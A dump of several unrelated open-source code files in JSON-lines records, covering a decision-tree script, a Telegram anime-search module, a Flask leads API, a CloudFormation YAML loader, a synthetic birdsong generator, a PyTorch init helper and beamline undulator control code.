the data table\ndef shuffleIt(data):\n shuffled = data.sample(frac=1).reset_index(drop=True)\n return shuffled\n \n#It will split the data for cross validation \n#@param numFold is the number of folds the data will be splited into\n#@param i tels which fold of numFold data is testData portion\ndef splitForCV(data,numFold=3,i=1):\n if i > numFold:\n raise Exception('Cannot select the',i,'th fold.')\n numRows = int(data.shape[0])\n oneFold = int(numRows/numFold)\n testData = data.iloc[(i-1)*oneFold:i*oneFold,:]\n trainData = pd.concat([data.iloc[:(i-1)*oneFold],data.iloc[i*oneFold:,:]],axis=0)\n trainData,testData=discretize(trainData,testData)\n return testData,trainData\n\n\ndef calcEntropy(data,labelheader):\n valueCounts = list(data[labelheader].value_counts())\n entropy = -sum(map(lambda x: x/sum(valueCounts)*math.log2(x/sum(valueCounts)),valueCounts))\n return entropy\n\n# find out which is the majority data's label\ndef majorityFeature(data,labelheader):\n return data[labelheader].value_counts().idxmax() \n\n#after a feature is found, then split the data based on it \ndef splitData(data,splitFeature,value):\n subdata = data[data[splitFeature]==value]\n subdata=subdata.drop(splitFeature,axis=1)\n return subdata \n\n#find which feature to split based on entropy \ndef findSplitFeature(data,labelheader):\n bestEntropy = None \n #obtain a newEntropy for spliting by a feature\n for feature in data.columns[:-1]:\n newEntropy = 0\n for featureValue in data[feature].unique():\n subdata = splitData(data,feature,featureValue)\n prob = subdata.shape[0]/data.shape[0]\n newEntropy += calcEntropy(subdata,labelheader)*prob \n if (bestEntropy == None) or (newEntropyАнонс :\",\n \"status\": \"Статус :\",\n \"type\": \"Тип :\",\n \"genres\": \"Жанры :\",\n \"favorite\": \"Избранное <3 :\", # < == <\n \"season\": \"Сезон :\",\n }\n\n link = \"https://anilibria.tv\"\n\n async def client_ready(self, client, db) -> None:\n self._client = client\n\n async def arandomcmd(self, message) -> None:\n \"\"\"Возвращает случайный тайтл из базы\"\"\"\n anime_title = await ani_client.get_random_title()\n\n text = f\"{anime_title.names.ru} \\n\"\n text += f\"{self.strings['status']} {anime_title.status.string}\\n\\n\"\n text += f\"{self.strings['type']} {anime_title.type.full_string}\\n\"\n text += f\"{self.strings['season']} {anime_title.season.string}\\n\"\n text += f\"{self.strings['genres']} {' '.join(anime_title.genres)}\\n\\n\"\n\n text += f\"{anime_title.description}\\n\\n\"\n text += f\"{self.strings['favorite']} {anime_title.in_favorites}\"\n\n kb = [\n [\n {\n \"text\": \"Ссылка\",\n \"url\": f\"https://anilibria.tv/release/{anime_title.code}.html\",\n }\n ]\n ]\n\n kb.extend(\n [\n {\n \"text\": f\"{torrent.quality.string}\",\n \"url\": f\"https://anilibria.tv/{torrent.url}\",\n }\n ]\n for torrent in anime_title.torrents.list\n )\n kb.append([{\"text\": \"🔃 Обновить\", \"callback\": self.inline__update}])\n kb.append([{\"text\": \"🚫 Закрыть\", \"callback\": self.inline__close}])\n\n await self.inline.form(\n text=text,\n photo=self.link + anime_title.posters.original.url,\n message=message,\n reply_markup=kb,\n silent=True,\n )\n\n async def asearch_inline_handler(self, query: InlineQuery) -> None:\n \"\"\"\n Возвращает список найденных по названию тайтлов\n \"\"\"\n text = query.args\n\n if not text:\n return\n\n anime_titles = await ani_client.search_titles(search=text)\n\n inline_query = []\n for anime_title in anime_titles:\n title_text = f\"{anime_title.names.ru} | {anime_title.names.en}\\n\"\n title_text += f\"{self.strings['status']} {anime_title.status.string}\\n\\n\"\n title_text += f\"{self.strings['type']} {anime_title.type.full_string}\\n\"\n title_text += f\"{self.strings['season']} {anime_title.season.string} {anime_title.season.year}\\n\"\n title_text += f\"{self.strings['genres']} {' '.join(anime_title.genres)}\\n\\n\"\n\n title_text += f\"{anime_title.description}\\n\\n\"\n title_text += f\"{self.strings['favorite']} {anime_title.in_favorites}\"\n\n inline_query.append(\n InlineQueryResultPhoto(\n id=str(anime_title.code),\n title=anime_title.names.ru,\n description=anime_title.type.full_string,\n caption=title_text,\n thumb_url=self.link + anime_title.posters.small.url,\n photo_url=self.link + anime_title.posters.original.url,\n parse_mode=\"html\",\n )\n )\n await query.answer(inline_query, cache_time=0)\n\n async def inline__close(self, call: CallbackQuery) -> None:\n await call.delete()\n\n\n async def inline__update(self, call: CallbackQuery) -> None:\n anime_title = await ani_client.get_random_title()\n\n text = f\"{anime_title.names.ru} \\n\"\n text += f\"{self.strings['status']} {anime_title.status.string}\\n\\n\"\n text += f\"{self.strings['type']} {anime_title.type.full_string}\\n\"\n text += f\"{self.strings['season']} {anime_title.season.string}\\n\"\n text += f\"{self.strings['genres']} {' '.join(anime_title.genres)}\\n\\n\"\n\n text += f\"{anime_title.description}\\n\\n\"\n text += f\"{self.strings['favorite']} {anime_title.in_favorites}\"\n\n kb = [\n [\n {\n \"text\": \"Ссылка\",\n \"url\": f\"https://anilibria.tv/release/{anime_title.code}.html\",\n }\n ]\n ]\n\n kb.extend(\n [\n {\n \"text\": f\"{torrent.quality.string}\",\n \"url\": f\"https://anilibria.tv/{torrent.url}\",\n }\n ]\n for torrent in anime_title.torrents.list\n )\n kb.append([{\"text\": \"🔃 Обновить\", \"callback\": self.inline__update}])\n kb.append([{\"text\": \"🚫 Закрыть\", \"callback\": self.inline__close}])\n\n await call.edit(\n text=text,\n photo=self.link + anime_title.posters.original.url,\n reply_markup=kb,\n )\n","repo_name":"CodWize/ReModules","sub_path":"AniLibria.py","file_name":"AniLibria.py","file_ext":"py","file_size_in_byte":5982,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"4435197076","text":"from sqlalchemy.orm.session import Session\nfrom flask import request, jsonify\n\nfrom http import HTTPStatus\nfrom werkzeug.exceptions import NotFound\nfrom sqlalchemy.exc import IntegrityError\n\nfrom app.models.leads_model import Lead\nfrom app.configs.database import db\n\nimport re\nfrom datetime import datetime\n\ndef get_lead_by_email(lead_email: int):\n session: Session = db.session\n base_query = session.query(Lead)\n try:\n lead = base_query.filter_by(email=lead_email).first_or_404(\n description=\"email not found\"\n )\n except NotFound as e:\n return {\"error\": e.description}, HTTPStatus.NOT_FOUND\n\n return jsonify(lead), HTTPStatus.OK\n\n\ndef get_leads():\n session: Session = db.session\n base_query = session.query(Lead)\n\n page = request.args.get(\"page\", 1, type=int)\n per_page = request.args.get(\"per_page\", 3, type=int)\n leads = base_query.order_by(Lead.visits).paginate(page, per_page)\n\n if not leads.items:\n return {\"error\": \"no data found\"}\n\n return jsonify(leads.items), HTTPStatus.OK\n\n\ndef create_lead():\n data = request.get_json()\n\n for value in data.values():\n if type(value) != type(\"string\"):\n return {\"error\": \"All fields must be on string format\"}, HTTPStatus.BAD_REQUEST\n \n default_keys = [\"name\", \"email\", \"phone\"]\n\n for key in default_keys:\n if key not in data.keys():\n return {\"error\": f\"Incomplete request, check {key} field\"}, HTTPStatus.BAD_REQUEST\n\n for key in data.keys():\n if key not in default_keys:\n return {\"error\": f\"Incomplete request, check {key} field\"}, HTTPStatus.BAD_REQUEST\n\n phone_regex = \"\\([1-9]\\d\\)\\s?\\d{5}-\\d{4}\"\n validated_phone = re.fullmatch(phone_regex, data[\"phone\"])\n\n if not validated_phone:\n return {\"error\": \"Wrong phone format\"}, HTTPStatus.BAD_REQUEST\n\n try:\n lead = Lead(**data)\n\n db.session.add(lead)\n db.session.commit()\n\n except IntegrityError:\n return {\"error\": \"user already registred\"}, HTTPStatus.CONFLICT\n \n return jsonify(lead), HTTPStatus.CREATED\n\ndef update_lead():\n data = request.get_json()\n session: Session = db.session\n base_query = session.query(Lead)\n\n lead = base_query.filter_by(email=data[\"email\"]).first()\n\n if not lead:\n return {\"error\": \"email not found\"}, HTTPStatus.NOT_FOUND\n\n for key, value in data.items():\n setattr(lead, key, value)\n setattr(lead, \"visits\",( lead.__dict__[\"visits\"] + 1))\n setattr(lead, \"last_visit\", datetime.now())\n \n session.add(lead)\n session.commit()\n\n return \"\", HTTPStatus.OK\n\ndef delete_lead():\n data = request.get_json()\n session: Session = db.session\n base_query = session.query(Lead)\n\n lead = base_query.filter_by(email=data[\"email\"]).first()\n\n if not lead:\n return {\"error\": \"email not found\"}, HTTPStatus.NOT_FOUND\n\n session.delete(lead)\n session.commit()\n\n return \"\", HTTPStatus.NO_CONTENT","repo_name":"Kenzie-Academy-Brasil-Developers/q3-sprint5-leads-rafaelkammer","sub_path":"app/controllers/leads_controller.py","file_name":"leads_controller.py","file_ext":"py","file_size_in_byte":2979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34983662816","text":"from datetime import datetime\nimport json\n\ndef hello(event, context):\n body = {\n \"message\": \"Your Lambda is working: \" + str(datetime.now()),\n \"inputEvent\": event,\n \"inputContext\": context\n }\n\nresponse = {\n \"statusCode\": 200,\n \"body\": json.dumps(body)\n }\n\nreturn response\n","repo_name":"bjurga/coudPOC","sub_path":"gps-receiver/receiveXY.py","file_name":"receiveXY.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13353211421","text":"from .odict import ODict\nimport six\nimport yaml\n\nTAG_MAP = \"tag:yaml.org,2002:map\"\nUNCONVERTED_SUFFIXES = [\"Ref\", \"Condition\"]\nFN_PREFIX = \"Fn::\"\n\n\nclass CfnYamlLoader(yaml.SafeLoader):\n pass\n\n\ndef multi_constructor(loader, tag_suffix, node):\n \"\"\"\n Deal with !Ref style function format\n \"\"\"\n\n if tag_suffix not in UNCONVERTED_SUFFIXES:\n tag_suffix = \"{}{}\".format(FN_PREFIX, tag_suffix)\n\n constructor = None\n\n if tag_suffix == \"Fn::GetAtt\":\n constructor = construct_getatt\n elif isinstance(node, yaml.ScalarNode):\n constructor = loader.construct_scalar\n elif isinstance(node, yaml.SequenceNode):\n constructor = loader.construct_sequence\n elif isinstance(node, yaml.MappingNode):\n constructor = loader.construct_mapping\n else:\n raise Exception(\"Bad tag: !{}\".format(tag_suffix))\n\n return ODict((\n (tag_suffix, constructor(node)),\n ))\n\n\ndef construct_getatt(node):\n \"\"\"\n Reconstruct !GetAtt into a list\n \"\"\"\n\n if isinstance(node.value, six.text_type):\n return node.value.split(\".\", 1)\n elif isinstance(node.value, list):\n return [s.value for s in node.value]\n else:\n raise ValueError(\"Unexpected node type: {}\".format(type(node.value)))\n\n\ndef construct_mapping(self, node, deep=False):\n \"\"\"\n Use ODict for maps\n \"\"\"\n\n mapping = ODict()\n\n for key_node, value_node in node.value:\n key = self.construct_object(key_node, deep=deep)\n value = self.construct_object(value_node, deep=deep)\n\n mapping[key] = value\n\n return mapping\n\n\n# Customise our loader\nCfnYamlLoader.add_constructor(TAG_MAP, construct_mapping)\nCfnYamlLoader.add_multi_constructor(\"!\", multi_constructor)\n","repo_name":"awslabs/aws-cfn-template-flip","sub_path":"cfn_tools/yaml_loader.py","file_name":"yaml_loader.py","file_ext":"py","file_size_in_byte":1729,"program_lang":"python","lang":"en","doc_type":"code","stars":976,"dataset":"github-code","pt":"21"} +{"seq_id":"9559335122","text":"import numpy as np\nimport math\nfrom random import *\nfrom scipy.signal import chirp\nimport matplotlib.pyplot as plt\nfrom chipper.ifdvsonogramonly import ifdvsonogramonly\nimport scipy.io.wavfile\nimport csv\nimport soundfile as sf\nimport glob\nimport os\nimport shutil\n\n\ndef make_syllable(song_amplitude, slope, shape, vertex=True, symmetric=False):\n # for each syllable pick an amplitude within 30% of the song amplitude\n amp_scale = round(uniform(song_amplitude - song_amplitude*.3, song_amplitude + song_amplitude*.3), 2)\n start_freq = randint(freq_min, freq_max) # Return ints from discrete uniform dist [low, high)\n\n if slope == 'flat':\n end_freq = start_freq\n elif slope == 'up':\n end_freq = randint(start_freq, freq_max)\n else: # slope == 'down'\n end_freq = randint(freq_min, start_freq)\n\n len_syll = round(uniform(syll_dur_min, syll_dur_max), 2)\n if symmetric:\n t = np.linspace(0, len_syll, sampling_rate*len_syll)\n t = t-(len_syll/2)\n else:\n t = np.linspace(0, len_syll, sampling_rate*len_syll)\n\n # create vector of ones for amplitude\n amplitude = np.linspace(1, 1, sampling_rate*len_syll)\n # define how much of the syllable will be ramping up to full amplitude and back down will be\n edge = int(round(len(amplitude)*0.4))\n # ramp up to full amplitude from 0\n amplitude[0:edge] = np.linspace(0, 1, edge)\n # ramp down from full amplitude to zero\n amplitude[len(amplitude)-edge:] = np.linspace(1, 0, edge)\n\n # multiply amplitude by exponential decay to decrease amplitude throughout the syllable (to mimic bird sounds)\n syll = np.exp(-3*t)*amplitude*amp_scale*chirp(t, start_freq, t[-1], end_freq, shape, vertex_zero=vertex)\n return amp_scale, start_freq, end_freq, len_syll, syll\n\n\ndef make_silence():\n silence_len = round(uniform(sil_dur_min, sil_dur_max), 2)\n silence_time = np.linspace(0, silence_len, sampling_rate*silence_len)\n silence = np.sin(2 * math.pi * silence_time)\n return silence_len, silence\n\n\ndef add_noise(signal, signal_info, noise_file):\n noise, rate = sf.read(noise_file)\n y_noise = signal + noise[:len(signal)]\n with open(signal_info, 'a', newline='') as info:\n writer = csv.writer(info)\n writer.writerow(['Signal Amplitude:', max(signal)])\n writer.writerow(['Noise Amplitude:', max(noise)])\n return y_noise\n\n\"\"\"\ncreate random songs\n\"\"\"\nfolder = \"C:/Users/abiga/Box Sync/Abigail_Nicole/ChipperPaper/scripts/SynSongs_amp100_30p\"\nbaseFileName = 'SynSongs_amp100_30p_'\n\nsampling_rate = 44100\n\nsyll_dur_min = 0.1\nsyll_dur_max = 0.9\n\nsil_dur_min = 0.01\nsil_dur_max = 0.5\n\nfreq_min = 2000\nfreq_max = 10000\n\namp_min = 1*100\namp_max = 100*100\n\nsyllables_types = [['flat', 'linear', True, False], ['up', 'linear', True, False], ['down', 'linear', True, False],\n ['up', 'quadratic', True, False], ['up', 'quadratic', False, False],\n ['down', 'quadratic', True, False], ['down', 'quadratic', False, False],\n ['up', 'quadratic', True, True],\n ['up', 'logarithmic', True, False], ['down', 'logarithmic', True, False]]\n\n\nfor i in range(0, 50):\n fullFileName = folder + \"/\" + baseFileName + str(i+1)\n print(fullFileName)\n\n total_length = 0\n all_signal = np.empty(0)\n\n all_amp_scales = []\n all_start_freq = []\n all_end_freq = []\n all_syll_len = []\n all_silence_len = []\n\n # randomly set rough amplitude for the song\n song_amp = round(uniform(amp_min, amp_max), 2)\n\n for type in syllables_types:\n slope, shape, vertex, symm = type\n\n if type[0] == 'flat': # don't add a silence before the first syllable\n amp, start, stop, syll_len, syll = make_syllable(song_amp, slope, shape, vertex, symm)\n total_length += syll_len\n all_signal = np.concatenate((all_signal, syll))\n\n all_amp_scales.append(amp)\n all_start_freq.append(start)\n all_end_freq.append(stop)\n all_syll_len.append(syll_len)\n else:\n silence_len, silence = make_silence()\n amp, start, stop, syll_len, syll = make_syllable(song_amp, slope, shape, vertex, symm)\n\n total_length += (silence_len + syll_len)\n all_signal = np.concatenate((all_signal, silence, syll))\n\n all_amp_scales.append(amp)\n all_start_freq.append(start)\n all_end_freq.append(stop)\n all_syll_len.append(syll_len)\n all_silence_len.append(silence_len)\n\n time = np.linspace(0, total_length, sampling_rate*total_length)\n\n wavform = all_signal\n\n if len(time) > len(wavform):\n wavform = np.pad(wavform, (0, len(time)-len(wavform)), mode='constant', constant_values=0)\n elif len(time) < len(wavform):\n time = np.pad(wavform, (0, len(wavform)-len(time)), mode='constant', constant_values=0)\n\n time = np.pad(time, (10000, 10000), mode='constant', constant_values=0)\n wavform = np.pad(wavform, (10000, 10000), mode='constant', constant_values=0)\n\n wavform = np.asarray(wavform, dtype=np.int16)\n scipy.io.wavfile.write(fullFileName + '.wav', sampling_rate, wavform)\n\n with open(fullFileName + '.csv', 'w', newline='') as file:\n filewriter = csv.writer(file, delimiter=',')\n filewriter.writerow(['Amplitude Scales:', all_amp_scales])\n filewriter.writerow(['Starting Frequencies:', all_start_freq])\n filewriter.writerow(['Ending Frequencies:', all_end_freq])\n filewriter.writerow(['Syllable Durations:', all_syll_len])\n filewriter.writerow(['Silence Durations:', all_silence_len])\n file.close()\n\n\n\"\"\"\nadd noise\n\"\"\"\nsong_folder = \"C:/Users/abiga/Box Sync/Abigail_Nicole/ChipperPaper/scripts/SynSongs_amp100_30p\"\nsynthetic_songs = glob.glob(song_folder + '/*.wav')\nnoiseFileName = \"C:/Users/abiga/Box Sync/Abigail_Nicole/ChipperPaper/scripts/WhiteNoiseTracks/WhiteNoise_001\" \\\n \".wav\"\n\nsave_folder = os.path.dirname(song_folder) + '/' + os.path.basename(song_folder) + '_' + os.path.splitext(os.path.basename(\n noiseFileName))[0]\nos.mkdir(save_folder)\n\nfor i in synthetic_songs:\n name = os.path.splitext(os.path.basename(i))[0]\n srcpath = os.path.splitext(i)[0] + '.csv'\n dstpath = save_folder + '/' + name + '_' + os.path.splitext(os.path.basename(noiseFileName))[0] + '.csv'\n shutil.copy(srcpath, dstpath)\n song, rate = sf.read(i)\n song_with_noise = add_noise(song, dstpath, noiseFileName)\n scipy.io.wavfile.write(save_folder + '/' + name + '_' + os.path.splitext(os.path.basename(noiseFileName))[0] +\n '.wav',\n rate, song_with_noise)\n\n\n# # plot the signal and spectrogram\n# plt.figure()\n# plt.plot(t, y, 'b-')\n# plt.show()\n#\n# sonogram, __, __ = ifdvsonogramonly(y, sampling_rate, 1024, 1010, 2)\n#\n# plt.figure()\n# [rows, cols] = np.shape(sonogram)\n# print(rows, cols)\n# plt.imshow(np.log(sonogram+3),\n# cmap='hot',\n# extent=[0, cols, 0, rows],\n# aspect='auto')\n# plt.show()\n","repo_name":"asearfos/chipper","sub_path":"synthetic_songs/scripts/make_random_wav_freq.py","file_name":"make_random_wav_freq.py","file_ext":"py","file_size_in_byte":7059,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"21"} +{"seq_id":"42407449498","text":"import torch\nimport torch.nn as nn\n\ndef weights_init(w):\n classname = w.__class__.__name__\n if classname.find('Conv') != -1:\n if hasattr(w, 'weight'):\n # nn.init.kaiming_normal_(w.weight, mode='fan_out', nonlinearity='relu')\n nn.init.kaiming_normal_(w.weight, mode='fan_in', nonlinearity='leaky_relu')\n if hasattr(w, 'bias') and w.bias is not None:\n nn.init.constant_(w.bias, 0)\n if classname.find('Linear') != -1:\n if hasattr(w, 'weight'):\n torch.nn.init.xavier_normal_(w.weight)\n if hasattr(w, 'bias') and w.bias is not None:\n nn.init.constant_(w.bias, 0)\n if classname.find('BatchNorm') != -1:\n if hasattr(w, 'weight') and w.weight is not None:\n nn.init.constant_(w.weight, 1)\n if hasattr(w, 'bias') and w.bias is not None:\n nn.init.constant_(w.bias, 0)\n \n\"\"\" \nHow to Use this function:\n\n1. You need to define a Pytorch CNN Model, e.g.:\n model = ResNet18()\n2. You can call weights_init function \n model.apply(weights_init)\n\n\"\"\"","repo_name":"zhangliyuan97/MedIArtifacts","sub_path":"tools/weights_init.py","file_name":"weights_init.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"19738375822","text":"from ophyd import (EpicsSignal, EpicsSignalRO, EpicsMotor,\n Device, Signal, PseudoPositioner, PseudoSingle,\n PVPositioner)\nfrom ophyd.utils.epics_pvs import set_and_wait\nfrom ophyd.ophydobj import StatusBase, MoveStatus\nfrom ophyd import Component as Cpt, Signal\nimport time as ttime\nfrom cycler import cycler\nfrom bluesky import Msg\nfrom bluesky.plan_stubs import open_run, close_run, trigger_and_read\n\n#from bluesky.plan_tools import trigger_and_read, wrap_with_decorator, run_wrapper\n\ntriggger_and_read = wrap_with_decorator = run_wrapper = None\n\n\nclass UVDoneMOVN(Signal):\n \"\"\"Signal for use as done signal for use in individual mode undulator motors\n\n This is a soft-signal that monitors several real PVs to sort out when the\n positioner is done moving.\n\n If the positioner looks like it has stopped (ex, moving is 0) but the readback\n is not close enough to the target, then re-actuate the motor.\n\n Parameters\n ----------\n parent : Device\n This comes from Cpt magic\n\n moving : str\n Name of the 'moving' signal on parent\n readback : str\n Name of the 'readback' signal on the parent\n actuate : str\n Name of the 'actuate' signal on the parent\n stop : str\n Name of the stop signal on the parent\n\n kwargs : ??\n All passed through to base Signal\n\n Attributes\n ----------\n target : float or None\n Where the positioner is going. If ``None``, the callbacks short-circuit\n\n \"\"\"\n def __init__(self, parent, moving, readback, actuate='actuate',\n stop='stop_signal',\n **kwargs):\n super().__init__(parent=parent, value=1, **kwargs)\n self._rbv = readback\n self._brake = moving\n self._act = actuate\n self._stp = stop\n self.target = None\n self._next_reactuate_time = 0\n\n def put(self, *arg, **kwargs):\n raise TypeError(\"You con not tell an undulator motor it is done\")\n\n def _put(self, *args, **kwargs):\n return super().put(*args, **kwargs)\n\n def _watcher(self, obj=None, **kwargs):\n '''The callback to install on readback and moving signals\n\n This callback watches if the position has gotten close enough to\n it's target _and_ has stopped moving, and then flips this signal to 1 (which\n in turn flips the Status object)\n\n '''\n target = self.target\n if target is None:\n return\n\n rbv = getattr(self.parent, self._rbv)\n moving = getattr(self.parent, self._brake)\n\n cur_value = rbv.get()\n not_moving = not moving.get()\n\n # come back and check this threshold value\n # this is 2 microns\n if not_moving and abs(target - cur_value) < 0.002:\n self._put(1)\n self._remove_cbs()\n return\n\n # if it is not moving, but we are not where we want to be,\n # poke it again\n if not_moving:\n cur_time = ttime.time()\n if cur_time > self._next_reactuate_time:\n actuate = getattr(self.parent, self._act)\n print('re actuated', self.parent.name)\n actuate.put(1)\n self._next_reactuate_time = cur_time + 1\n\n def _stop_watcher(self, *arg, **kwargs):\n '''Call back to be installed on the stop signal\n\n if this gets flipped, clear all of the other callbacks and tell\n the status object that it is done.\n\n TODO: mark status object as failed\n TODO: only trigger this on 0 -> 1 transposition\n '''\n print('STOPPED')\n # set the target to None and remove all callbacks\n self.reset(None)\n # flip this signal to 1 to signal it is done\n self._put(1)\n # push stop again 'just to be safe'\n # this is paranoia related to the re-kicking the motor is the\n # other callback\n stop = getattr(self.parent, self._stp)\n stop.put(1)\n\n def reset(self, target):\n self.target = target\n self._put(0)\n self._remove_cbs()\n\n def _remove_cbs(self):\n rbv = getattr(self.parent, self._rbv)\n stop = getattr(self.parent, self._stp)\n moving = getattr(self.parent, self._brake)\n\n rbv.clear_sub(self._watcher)\n moving.clear_sub(self._watcher)\n stop.clear_sub(self._stop_watcher)\n\n\nclass UndulatorPositioner(PVPositioner):\n '''Base class for undulator motors\n\n - patches up behavior of actuate\n - installs done callbacks in proper places. Assumes the above Done signal\n is used\n '''\n def _move_async(self, position, **kwargs):\n '''Move and do not wait until motion is complete (asynchronous)'''\n if self.actuate is not None:\n set_and_wait(self.setpoint, position)\n self.actuate.put(self.actuate_value, wait=False)\n else:\n self.setpoint.put(position, wait=False)\n\n def move(self, v, *args, **kwargs):\n self.done.reset(v)\n ret = super().move(v, *args, **kwargs)\n self.moving.subscribe(self.done._watcher,\n event_type=self.moving.SUB_VALUE)\n self.readback.subscribe(self.done._watcher,\n event_type=self.readback.SUB_VALUE)\n\n self.stop_signal.subscribe(self.done._stop_watcher,\n event_type=self.stop_signal.SUB_VALUE, run=False)\n\n return ret\n\n def stop(self):\n self.done.reset(None)\n super().stop()\n\n\ndef st_watcher(st):\n '''helper function to watch status objects\n\n Prints to screen every 0.5s\n '''\n while not st.done:\n print(st, st.done)\n time.sleep(.1)\n print(st)\n\n\nclass UndlatorMotorUSU(UndulatorPositioner):\n 'Upstream upper motor on SRX undulator'\n readback = Cpt(EpicsSignal, '}REAL_POSITION_US_UPPER')\n setpoint = Cpt(EpicsSignal, '-Mtr:6}Inp:Pos')\n actuate = Cpt(EpicsSignal, '-Mtr:6}Sw:Go')\n done = Cpt(UVDoneMOVN, None, moving='moving',\n readback='readback', add_prefix=())\n stop_signal = Cpt(EpicsSignal, '-Mtr:6}Pos.STOP')\n\n moving = Cpt(EpicsSignal, '-Mtr:3}Pos.MOVN')\n\n\nclass UndlatorMotorUSL(UndulatorPositioner):\n 'Upstream lower motor on SRX undulator'\n readback = Cpt(EpicsSignal, '}REAL_POSITION_US_LOWER')\n setpoint = Cpt(EpicsSignal, '-Mtr:8}Inp:Pos')\n actuate = Cpt(EpicsSignal, '-Mtr:8}Sw:Go')\n done = Cpt(UVDoneMOVN, None, moving='moving',\n readback='readback', add_prefix=())\n stop_signal = Cpt(EpicsSignal, '-Mtr:8}Pos.STOP')\n\n moving = Cpt(EpicsSignal, '-Mtr:8}Pos.MOVN')\n\n\nclass UndlatorMotorDSU(UndulatorPositioner):\n 'Downstream upper motor on SRX undulator'\n readback = Cpt(EpicsSignal, '}REAL_POSITION_DS_UPPER')\n setpoint = Cpt(EpicsSignal, '-Mtr:5}Inp:Pos')\n actuate = Cpt(EpicsSignal, '-Mtr:5}Sw:Go')\n done = Cpt(UVDoneMOVN, None, moving='moving',\n readback='readback', add_prefix=())\n stop_signal = Cpt(EpicsSignal, '-Mtr:5}Pos.STOP')\n\n moving = Cpt(EpicsSignal, '-Mtr:5}Pos.MOVN')\n\n\nclass UndlatorMotorDSL(UndulatorPositioner):\n 'Downstream lower motor on SRX undulator'\n readback = Cpt(EpicsSignal, '}REAL_POSITION_DS_LOWER')\n setpoint = Cpt(EpicsSignal, '-Mtr:7}Inp:Pos')\n actuate = Cpt(EpicsSignal, '-Mtr:7}Sw:Go')\n done = Cpt(UVDoneMOVN, None, moving='moving',\n readback='readback', add_prefix=())\n stop_signal = Cpt(EpicsSignal, '-Mtr:7}Pos.STOP')\n\n moving = Cpt(EpicsSignal, '-Mtr:4}Pos.MOVN')\n\n\nclass UndlatorMotorElevation(UndulatorPositioner):\n readback = Cpt(EpicsSignal, '}REAL_ELEVATION_US')\n setpoint = Cpt(EpicsSignal, '-Mtr:1}Inp:Pos')\n actuate = Cpt(EpicsSignal, '-Mtr:1}Sw:Go')\n done = Cpt(UVDoneMOVN, None, moving='moving',\n readback='readback', add_prefix=())\n #### CHECK THE STOP SIGNAL PV\n stop_signal = Cpt(EpicsSignal, '-Mtr:1}Pos.STOP')\n\n moving = Cpt(EpicsSignal, '-Mtr:1}Pos.MOVN')\n\n ds_elevation = Cpt(EpicsSignal, '}REAL_ELEVATION_DS')\n avg_elevation = Cpt(EpicsSignal, '}REAL_ELEVATION_AVG')\n\n\nclass PowerUndulator(Device):\n 'Simple aggregate device to hold undulator motors'\n us_lower = Cpt(UndlatorMotorUSL, '', read_attrs=['readback', 'setpoint', 'moving'])\n us_upper = Cpt(UndlatorMotorUSU, '', read_attrs=['readback', 'setpoint', 'moving'])\n ds_lower = Cpt(UndlatorMotorDSL, '', read_attrs=['readback', 'setpoint', 'moving'])\n ds_upper = Cpt(UndlatorMotorDSU, '', read_attrs=['readback', 'setpoint', 'moving'])\n elevation = Cpt(UndlatorMotorElevation, '', read_attrs=['readback', 'setpoint', 'moving'])\n\npu = PowerUndulator('SR:C5-ID:G1{IVU21:1', name='pu')\n\n\nclass UTemperatures(Device):\n 'Undulator temperatures'\n T1 = Cpt(EpicsSignal, '-Pt:1}T')\n T2 = Cpt(EpicsSignal, '-Pt:2}T')\n T3 = Cpt(EpicsSignal, '-Pt:3}T')\n T4 = Cpt(EpicsSignal, '-Pt:4}T')\n T5 = Cpt(EpicsSignal, '-Pt:5}T')\n T6 = Cpt(EpicsSignal, '-Pt:6}T')\n T7 = Cpt(EpicsSignal, '-Pt:7}T')\n T8 = Cpt(EpicsSignal, '-Pt:8}T')\n T9 = Cpt(EpicsSignal, '-Pt:9}T')\n T10 = Cpt(EpicsSignal, '-Pt:10}T')\n T11 = Cpt(EpicsSignal, '-Pt:11}T')\n T12 = Cpt(EpicsSignal, '-Pt:12}T')\n T13 = Cpt(EpicsSignal, '-Pt:13}T')\n T14 = Cpt(EpicsSignal, '-Pt:14}T')\n T15 = Cpt(EpicsSignal, '-Pt:15}T')\n T16 = Cpt(EpicsSignal, '-Pt:16}T')\n\nut = UTemperatures('SR:C5-ID:G1{IVU21:1', name='ut')\n\nTILT_LIMIT = 0.090 # 99 microns\nCRAB_LIMIT = 0.050 # 50 microns\nTARGET_THRESH = 0.002 # 2 microns,\n\n\ndef ud_crab_plan(pu, us_u, us_l, ds_u, ds_l, other_dets=None):\n '''A generator plan for crabbing the undulator to new position\n\n This is a single-use plan for moving the undulator to a new position ::\n\n plan = ud_crab_plan(pu, a, 6.46, 6.46, 6.46, [ut])\n gs.RE(plan)\n\n This plan round-robin moves the motors to the desired positions taking\n readings of all the motor positions and any additional detectors and ~1Hz\n\n Parameters\n ----------\n pu : PowerUndulator\n Bucket of undulator motors\n\n us_u : float\n The target upstream upper motor position\n\n us_l : float\n The target upstream lower motor position\n\n ds_u : float\n The target downstream upper motor position\n\n ds_l : float\n The target downstream lower motor position\n\n other_dets : list, optional\n List of other detectors to read\n '''\n pu.stop()\n if other_dets is None:\n other_dets = []\n # magic goes here\n #if abs(us_u - ds_u) > CRAB_LIMIT:\n if abs(us_u - ds_u) > TILT_LIMIT:\n raise ValueError(\"exceded tilt limit on upper |{} - {}| > {}\".format(\n us_u, ds_u, TILT_LIMIT))\n\n #if abs(us_l - ds_l) > CRAB_LIMIT:\n if abs(us_l - ds_l) > TILT_LIMIT:\n raise ValueError(\"exceded tilt limit on lower |{} - {}| > {}\".format(\n us_l, ds_l, TILT_LIMIT))\n\n def limit_position(pos, pair_pos, target, pair_target):\n if abs(pair_pos - pair_target) < TARGET_THRESH:\n # on final step\n limit = TILT_LIMIT\n else:\n limit = CRAB_LIMIT\n # moving out\n if target > pos:\n return min(target, pair_pos + limit)\n else:\n return max(target, pair_pos - limit)\n\n def traj(pu):\n while True:\n done_count = 0\n # MOVE THE UPSTREAM UPPER\n cur_usu = pu.us_upper.position\n cur_dsu = pu.ds_upper.position\n if abs(cur_usu - us_u) > TARGET_THRESH:\n target = 